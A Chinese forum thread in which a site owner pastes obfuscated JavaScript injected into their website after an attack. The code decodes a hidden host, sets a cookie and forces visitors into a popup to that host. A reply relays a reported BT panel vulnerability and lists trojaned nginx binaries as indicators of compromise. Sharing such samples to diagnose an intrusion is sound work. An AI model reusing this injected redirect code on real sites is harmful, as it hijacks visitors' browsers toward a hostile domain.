小白咨询，网站被攻击后打开有弹窗。。。

[kingmo888]

离了个大谱，被 D 后，打开网页会有弹窗。

清理缓存，经过 F12 ，发现首个加载的 JS 开头会被插入一段代码，

屏蔽所有 JS 后没有问题。

扫描了一下未发现病毒。

SSL 下也无解，这该从何处入手呢。

var _0x3402 = ['dGFyZ2V0', 'YXBwZW5kQ2hpbGQ=', 'aHR0cHM6Ly8za2R2NTh4ay5pYnRvYzN0Ny5jb20=', 'Y2xpY2s=', 'RE9NQ29udGVudExvYWRlZA==', 'b2tr', 'X2JsYW5r', 'Y29va2ll', 'Ym9keQ==', 'MTIz', 'a2tmZnM=', 'd2FmX3NjPTU4ODk2NDc3MjY7ZXhwaXJlcz0=', 'd2FmX3NjPTU4ODk2NDc3MjY=', 'cmFuZG9t', 'Z2V0VGltZQ=='];
(function(_0x4f678f, _0x3402d3) {
    var _0x22dcf8 = function(_0x48d0ed) {
        while (--_0x48d0ed) {
            _0x4f678f['push'](_0x4f678f['shift']());
        }
    };
    _0x22dcf8(++_0x3402d3);
}(_0x3402, 0x1b1));
var _0x22dc = function(_0x4f678f, _0x3402d3) {
    _0x4f678f = _0x4f678f - 0x0;
    var _0x22dcf8 = _0x3402[_0x4f678f];
    if (_0x22dc['YbLqLE'] === undefined) {
        (function() {
            var _0x55fb65;
            try {
                var _0x99ff51 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                _0x55fb65 = _0x99ff51();
            } catch (_0x186283) {
                _0x55fb65 = window;
            }
            var _0x245ad6 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x55fb65['atob'] || (_0x55fb65['atob'] = function(_0x45ea70) {
                var _0x373e1f = String(_0x45ea70)['replace'](/=+$/, '');
                var _0x474828 = '';
                for (var _0x25b404 = 0x0, _0x4e134e, _0x51471c, _0x109a80 = 0x0; _0x51471c = _0x373e1f['charAt'](_0x109a80++); ~_0x51471c && (_0x4e134e = _0x25b404 % 0x4 ? _0x4e134e * 0x40 + _0x51471c : _0x51471c,
                _0x25b404++ % 0x4) ? _0x474828 += String['fromCharCode'](0xff & _0x4e134e >> (-0x2 * _0x25b404 & 0x6)) : 0x0) {
                    _0x51471c = _0x245ad6['indexOf'](_0x51471c);
                }
                return _0x474828;
            }
            );
        }());
        _0x22dc['pzRRBR'] = function(_0x2f9082) {
            var _0x4ab614 = atob(_0x2f9082);
            var _0x28b9ef = [];
            for (var _0x40b68a = 0x0, _0xc5670f = _0x4ab614['length']; _0x40b68a < _0xc5670f; _0x40b68a++) {
                _0x28b9ef += '%' + ('00' + _0x4ab614['charCodeAt'](_0x40b68a)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(_0x28b9ef);
        }
        ;
        _0x22dc['GHNzVI'] = {};
        _0x22dc['YbLqLE'] = !![];
    }
    var _0x48d0ed = _0x22dc['GHNzVI'][_0x4f678f];
    if (_0x48d0ed === undefined) {
        _0x22dcf8 = _0x22dc['pzRRBR'](_0x22dcf8);
        _0x22dc['GHNzVI'][_0x4f678f] = _0x22dcf8;
    } else {
        _0x22dcf8 = _0x48d0ed;
    }
    return _0x22dcf8;
};
function addiframe() {
    var _0x22998d = document['createElement']('a');
    _0x22998d['href'] = _0x22dc('0x4');
    _0x22998d[_0x22dc('0x2')] = _0x22dc('0x8');
    document[_0x22dc('0xa')][_0x22dc('0x3')](_0x22998d);
    _0x22998d[_0x22dc('0x5')]();
    setTimeout(()=>document[_0x22dc('0xa')]['removeChild'](_0x22998d), 0x1f40);
}
function setcookie() {
    var _0x3a43d1 = new Date();
    _0x3a43d1['setTime'](_0x3a43d1[_0x22dc('0x1')]() + 0x18 * 0x3 * 0x3c * 0x3c * 0x3e8);
    var _0x504815 = document[_0x22dc('0x9')]['indexOf'](_0x22dc('0xe'));
    if (_0x504815 < 0x0 && document[_0x22dc('0x7')] == null) {
        document[_0x22dc('0x7')] = _0x22dc('0xb');
        document['addEventListener'](_0x22dc('0x6'), function(_0x301b98) {
            if (document[_0x22dc('0xc')] == null) {
                document[_0x22dc('0xc')] = _0x22dc('0xb');
                var _0x5d8a65 = Math['floor'](Math[_0x22dc('0x0')]() * 0x64) + 0x1;
                if (_0x5d8a65 <= 0x64) {
                    document[_0x22dc('0x9')] = _0x22dc('0xd') + _0x3a43d1['toGMTString']();
                    addiframe();
                }
            }
        });
    }
}
setcookie();

[owltacklejaguar]

@kingmo888 速报：宝塔面板疑似出现全新高危漏洞，目前已出现大面积入侵
建议：暂时性关闭面板，等待补丁更新
影响版本：7.9.6 及以下且使用 nginx 用户
风险等级：极高
处置建议: 停止使用 BT 面板且更换阿帕奇 [宝塔官方建议暂停面板]
排查方式: /www / server/ nginx/ sbin 目录下文件

1. nginx 11.80 MB
2. nginxBak 4.55 MB[木马]
3. nginx 4.51M [木马]

特征:
1.大小 4.51
2.时间近期
3.nginx ＆ nginxBAK 双文件

入侵者通过该漏洞拥有 root 权限，受限于面板高权限运行，修改宝塔各种账号密码+SSH 账号密码均为无效。
入侵者可以修改 nginx 配置文件+数据库文件+网站根目录文件
站点可能出现大量日志同时 CPU 异常占用，暂不清楚漏洞点，切勿随意点击清除日志按钮
注: 大量新装用户反馈出现挂马，目前 BT 官方源可能出现问题，建议暂停安装

今天发的，可以去看下有没有异常文件